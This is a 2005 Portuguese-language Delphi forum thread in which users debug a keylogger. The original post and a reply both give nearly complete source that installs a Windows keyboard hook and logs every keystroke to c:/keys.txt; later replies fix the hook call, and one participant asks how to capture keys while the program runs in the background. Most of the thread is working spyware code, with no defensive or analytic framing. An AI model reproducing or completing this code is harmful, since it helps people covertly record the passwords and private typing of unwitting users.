Fórum Duvida Angustiante (Keylooger) #277609
17/04/2005
0
var
Form1: TForm1;
arq: textfile;
idKeyLog : HHOOK;
KeylogHookProc : FARPROC;
implementation
{$R *.DFM}
function tform1.KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
tecla:String[255];
b1,b2: boolean;
begin
case wParam of
VK_SHIFT, VK_CAPITAL, VK_MENU:begin
//ignore estas teclas
end;
VK_BACK:begin
Write(Arq,´[BKSP]´);
end;
VK_TAB:begin
Write(Arq,´[TAB]´);
end;
VK_RETURN:begin
WriteLN(Arq,´[ENTER]´);
end;
VK_ESCAPE:begin
Write(Arq,´[ESC]´);
end;
32..64:begin
Write(Arq,chr(Byte(wParam)));
end;
65..90:begin// todas as letras
b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado
b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
Write(Arq,chr(Byte(wParam+32))) // coloca em minusculo
else
Write(Arq,chr(Byte(wParam)));
end;
VK_NUMPAD0..VK_NUMPAD9:begin
Write(Arq,chr(Byte(wParam-VK_NUMPAD0+48)));
end;
else begin
tecla:=´´;
GetKeyNameText(LParam,@tecla[1],254);
Write(Arq,´[´+tecla+´]´);
end;
end;
Flush(Arq);
Result:=CallNextHookEx(HHOOK(nil), code, wParam, lParam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile (arq,´c:/keys.txt´);
if fileexists(´c:/keys.txt´) then
Append(Arq)
else
ReWrite(Arq);
idKeylog:=SetWindowsHookEx(WH_KEYBOARD,KeylogHookProc,null,0);
--> KeyboardProc(code:integer;wParam:WPARAM;lParam:LPARAM); <--
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnhookWindowsHookEx(idKeyLog);
end;
end.
Na linha marcada com --> <-- o compilador acusa [color=red:250e23a59c]´[Error] kl.pas(79): Undeclared identifier: ´code´[/color:250e23a59c].
Ja tentei de tudo mas não consigo consertar este erro.
Desde já agradeço a ajuda.
Fernando Lempê
Curtir tópico
+ 0Posts
17/04/2005
Marco Salles
Amigo, voce poderia por gentieza , nos mostrar o ´Caminho´ desse Exemplo.. Para podermos fazer uma analogia com suas alterações
Gostei + 0
18/04/2005
Fernando Lempê
Eu modifiquei o programa afim de não usar a DLL externa que o original usa.
Pretendo deixar toda codificação dentro de uma só unit.
Gostei + 0
18/04/2005
Emerson Nascimento
Gostei + 0
18/04/2005
Fernando Lempê
Acho que não seria a solução excluí-la.
Gostei + 0
18/04/2005
Emerson Nascimento
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
idKeyLog : HHOOK;
arq: textfile;
public
{ Public declarations }
end;
var
Form1: TForm1;
function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
implementation
{$R *.dfm}
function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
tecla:String[255];
b1,b2: boolean;
begin
if code < 0 then
Result:=CallNextHookEx(Form1.idKeylog, code, wParam, lParam)
else
begin
case lParam of
KF_ALTDOWN: Write(Form1.Arq,´[ALT]´);
end;
case wParam of
VK_SHIFT, VK_CAPITAL, VK_MENU:begin
//ignore estas teclas
end;
VK_BACK:begin
Write(Form1.Arq,´[BKSP]´);
end;
VK_TAB:begin
Write(Form1.Arq,´[TAB]´);
end;
VK_RETURN:begin
WriteLN(Form1.Arq,´[ENTER]´);
end;
VK_ESCAPE:begin
Write(Form1.Arq,´[ESC]´);
end;
32..64:begin
Write(Form1.Arq,chr(Byte(wParam)));
end;
65..90:begin// todas as letras
b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado
b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
Write(Form1.Arq,chr(Byte(wParam+32))) // coloca em minusculo
else
Write(Form1.Arq,chr(Byte(wParam)));
end;
VK_NUMPAD0..VK_NUMPAD9:begin
Write(Form1.Arq,chr(Byte(wParam)));
end;
else begin
tecla:=´´;
GetKeyNameText(LParam,@tecla[1],254);
Write(Form1.Arq,´[´+tecla+´]´);
end;
end;
Flush(Form1.Arq);
result := 0;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile (arq,´c:/keys.txt´);
if fileexists(´c:/keys.txt´)
then Append(Arq)
else ReWrite(Arq);
idKeylog := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hInstance,0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(idKeyLog);
CloseFile(Arq);
end;Gostei + 0
19/04/2005
Fernando Lempê
procedure TForm1.FormCreate(Sender: TObject); begin assignfile (arq,´c:/keys.txt´); if fileexists(´c:/keys.txt´) then Append(Arq) else ReWrite(Arq); *** idKeylog := SetWindowsHookEx (WH_KEYBOARD,KeyboardProc,HInstance,0); *** end;
:(
Mesmo utilizando a correção agora um novo erro ocorre na linha com ***
[color=red:a77791ba2d][Error] Ukl.pas(89): Incompatible types: regular procedure and method pointer[/color:a77791ba2d]
Gostei + 0
19/04/2005
Emerson Nascimento
o correto é:
function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
não está ligada ao formulário. Está declarada fora da declaração do formulário.
reveja todo o código.
Gostei + 0
19/04/2005
Kapak
A chamada correta seria:
SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, GetCurrentThreadId);
Note que o último parâmetro dwThreadId é o identificador da Thread que instala a Hook; como vc está instalando uma Hook local, coloque a Thread principal do seu aplicativo.
ps: Hooks locais só capturam qdo sua aplicação estiver em foco e não em todo o Windows.
Gostei + 0
20/04/2005
Fernando Lempê
Agora o problema do keylogger está resolvido, podemos usar este tópico como referencia.
Gostei + 0
20/04/2005
Emerson Nascimento
quem quiser o componente é só falar.
solicitem no email emerson.en@ig.com.br
Gostei + 0
23/04/2005
Christian_adriano
kapak Escreveu: Note que o último parâmetro dwThreadId é o identificador da Thread que instala a Hook; como vc está instalando uma Hook local, coloque a Thread principal do seu aplicativo. ps: Hooks locais só capturam qdo sua aplicação estiver em foco e não em todo o Windows.
kapak, para eu resolver esse problema é só eu declarar
var
.........
........
idKeyLog : HHOOK;
É isso ?
Grato.
Christian.
Gostei + 0
25/04/2005
Kapak
Gostei + 0
26/04/2005
Christian_adriano
O problema da aplicação não funcionar em segundo plano, ou seja, ela só funciona quando ela esta em foco. E se não me engano a sua resposta foi a respeito disso. Mais não consegui fazer funcionar.
Grato.
T+
Christian.[/list]
Gostei + 0
18/06/2005
Kapak
Gostei + 0
22/06/2005
Anibaljr77
Gostei + 0
Clique aqui para fazer login e interagir na Comunidade :)